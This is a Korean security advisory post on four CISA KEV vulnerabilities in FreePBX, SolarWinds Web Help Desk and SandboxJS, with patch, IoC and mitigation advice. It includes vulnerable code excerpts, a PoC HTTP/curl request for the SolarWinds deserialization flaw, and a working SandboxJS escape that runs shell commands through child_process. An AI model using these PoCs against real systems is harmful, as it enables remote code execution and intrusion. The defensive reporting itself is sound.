"당신의 VoIP가 해커의 놀이터가 됐다" — INJ3CTOR3 그룹의 FreePBX 웹쉘 공격과 2026년 2월 CISA KEV 긴급 분석
CISA KEV 4건 긴급 추가 — FreePBX 웹쉘 캠페인, SolarWinds 역직렬화 RCE, JavaScript 샌드박스 탈출까지
Multi-Agent Analysis Discussion
CVE-2025-64328 — FreePBX Endpoint Manager Command Injection
개요
FreePBX Endpoint Manager 17.0.2.36 이상 ~ 17.0.3 미만 버전에서 인증된 관리자가 SSH 연결 테스트 기능을 악용하여 임의 쉘 명령을 실행할 수 있습니다. 공격 그룹 INJ3CTOR3가 이 취약점을 활용해 EncystPHP 웹쉘을 배포하는 캠페인을 진행 중입니다.
취약한 코드
1<?php2function check_ssh_connect($host, $port, $user, $key, $path) {3 $keypath = dirname($key);4 $publickey = "$key.pub";5 if(!is_dir($keypath)) {6 exec("mkdir -p $keypath"); // Command Injection Point #17 }8 if(!file_exists($key)) {9 exec("ssh-keygen -t ecdsa -b 521 -f $key -N \"\" ..."); // #210 }11 // ... 이하 생략 ...12}
Source: GitHub - FreePBX/filestore
EncystPHP 공격 체인
영향 버전
| 제품 | 취약 버전 | 패치 버전 |
|---|---|---|
| FreePBX Endpoint Manager | 17.0.2.36 ≤ version < 17.0.3 | 17.0.3 |
IoC (Indicators of Compromise)
대응 방안
- 즉시 조치: FreePBX Endpoint Manager 17.0.3으로 업그레이드
- 웹쉘 스캔: 위 IoC 경로에서 의심 파일 탐지 (ajax.php, license.php 등)
- 계정 감사: newfpbx 또는 UID 0 계정 생성 여부 확인
- 네트워크: FreePBX 관리 인터페이스 외부 노출 차단
- crontab 검사: asterisk 사용자의 cron 작업 확인
- FortiGuard 시그니처: PHP/EncystPHP.A!tr, BASH/EncystPHP.A!tr 탐지 활성화
CVE-2025-40551 — SolarWinds Web Help Desk Deserialization RCE
개요
SolarWinds Web Help Desk의 AjaxProxy 기능에서 신뢰할 수 없는 데이터의 역직렬화 취약점이 발견되었습니다. 이전 패치(CVE-2024-28986 대응)의 블록리스트를 우회하여 비인증 원격 코드 실행이 가능합니다. Horizon3.ai가 JNDI Lookup 체인을 이용한 PoC를 공개했습니다.
공격 체인
PoC HTTP Request
# URL Decoded Version POST /helpdesk/WebObjects/Helpdesk.woa/ajax/JSONRPCBridge HTTP/1.1 Host: target:8080 Content-Type: application/json Cookie: wosid=SESSION_ID; xsrf-token=TOKEN { "method": "createInstance", "params": ["java.lang.Runtime"], "id": 1 } # curl 명령어 curl -X POST "http://target:8080/helpdesk/WebObjects/Helpdesk.woa/ajax/JSONRPCBridge" \ -H "Content-Type: application/json" \ -H "Cookie: wosid=SESSION_ID; xsrf-token=TOKEN" \ -d '{"method":"createInstance","params":["java.lang.Runtime"],"id":1}'
영향 버전
| 제품 | 취약 버전 | 패치 버전 |
|---|---|---|
| SolarWinds Web Help Desk | < 2026.1 | 2026.1 |
IoC (Indicators of Compromise)
대응 방안
- 즉시 조치: SolarWinds Web Help Desk 2026.1로 업그레이드
- 기본 계정 비활성화: client:client 계정 삭제 또는 비밀번호 변경
- 네트워크 격리: WHD 서버를 내부 네트워크로 제한
- 로그 모니터링: JSONRPC 관련 에러 로그 및 의심 로그인 탐지
- WAF 규칙: /ajax/JSONRPCBridge 엔드포인트 접근 제한
CVE-2026-25142 — SandboxJS Prototype Pollution to RCE
개요
SandboxJS는 JavaScript 샌드박스 라이브러리입니다. 0.8.27 이전 버전에서 __lookupGetter__를 제대로 차단하지 않아 프로토타입 체인을 통해 호스트 환경의 Function 생성자에 접근할 수 있습니다. 이를 통해 샌드박스를 완전히 탈출하여 원격 코드 실행이 가능합니다.
취약한 코드
368// Prop operation handler369addOps(LispType.Prop, (exec, done, ticks, a, b, obj, context, scope) => {370 // ... property access logic ...371 if (prototypeAccess) {372 if (isFunction) {373 // __lookupGetter__ not blocked here!374 if (!['name', 'length', 'constructor'].includes(b) &&375 (a.hasOwnProperty(b) || b === '__proto__')) {376 // Whitelist check...377 }378 }379 }380});
Source: GitHub - nyariv/SandboxJS
PoC (Sandbox Escape)
1// Step 1: Get host function via __lookupGetter__2const getter = ({}).__lookupGetter__.call(3 Function.prototype, '__proto__'4);56// Step 2: Access host Function constructor7const hostFunc = getter.constructor;89// Step 3: Execute arbitrary code in host context10const payload = hostFunc('return process.mainModule.require("child_process").execSync("id")')();11console.log(payload.toString());
영향 버전
| 패키지 | 취약 버전 | 패치 버전 |
|---|---|---|
| @nyariv/sandboxjs (npm) | ≤ 0.8.26 | 0.8.27 |
대응 방안
- 즉시 조치: SandboxJS 0.8.27 이상으로 업그레이드
- 런타임 하드닝: __lookupGetter__, __lookupSetter__ 메서드 monkey-patch 또는 제거
- 대안 검토: 언어 수준 샌드박스 대신 WASM 또는 micro-VM 격리 고려
- 의존성 감사: npm audit 실행하여 취약한 버전 탐지
CVE-2019-19006 — Sangoma FreePBX Authentication Bypass
개요
2019년에 발견된 구 취약점이지만, 2026년 2월 3일 CISA KEV에 새로 등재되었습니다. FreePBX의 인증 메커니즘 결함으로 비인증 원격 공격자가 관리자 권한을 획득할 수 있습니다. INJ3CTOR3 그룹이 CVE-2025-64328과 함께 이 취약점을 악용한 이력이 있습니다.
대응 방안
- 긴급 패치: FreePBX 최신 버전으로 업그레이드
- 네트워크 격리: FreePBX 관리 인터페이스 외부 접근 차단
- 감사: 인증 로그에서 비정상 관리자 세션 생성 확인
References
Agent #7 검증 보고서
Executive Summary
2026년 2월 첫째 주, CISA는 4건의 취약점을 KEV 카탈로그에 추가했습니다. 그 중 CVE-2025-64328(FreePBX)과 CVE-2025-40551(SolarWinds WHD)은 실제 공격에서 활발히 악용되고 있으며, 즉각적인 패치가 필요합니다.
특히 INJ3CTOR3 그룹이 FreePBX 취약점을 악용해 EncystPHP라는 정교한 웹쉘을 배포하는 캠페인이 진행 중입니다. 이 웹쉘은 경쟁 웹쉘 제거, 루트 계정 생성, SSH 키 인젝션, 다중 지속성 메커니즘을 포함하고 있어 탐지와 제거가 어렵습니다.
- CVE-2025-64328 (FreePBX): CISA 마감 2026-02-24 | 17.0.3 업그레이드 필수
- CVE-2025-40551 (SolarWinds WHD): CISA KEV 등재 | 2026.1 업그레이드 필수
- CVE-2026-25142 (SandboxJS): CVSS 10.0 | 0.8.27 업그레이드 필수
- CVE-2019-19006 (FreePBX): 레거시 취약점 재악용 | 최신 버전 확인 필요
댓글
댓글 쓰기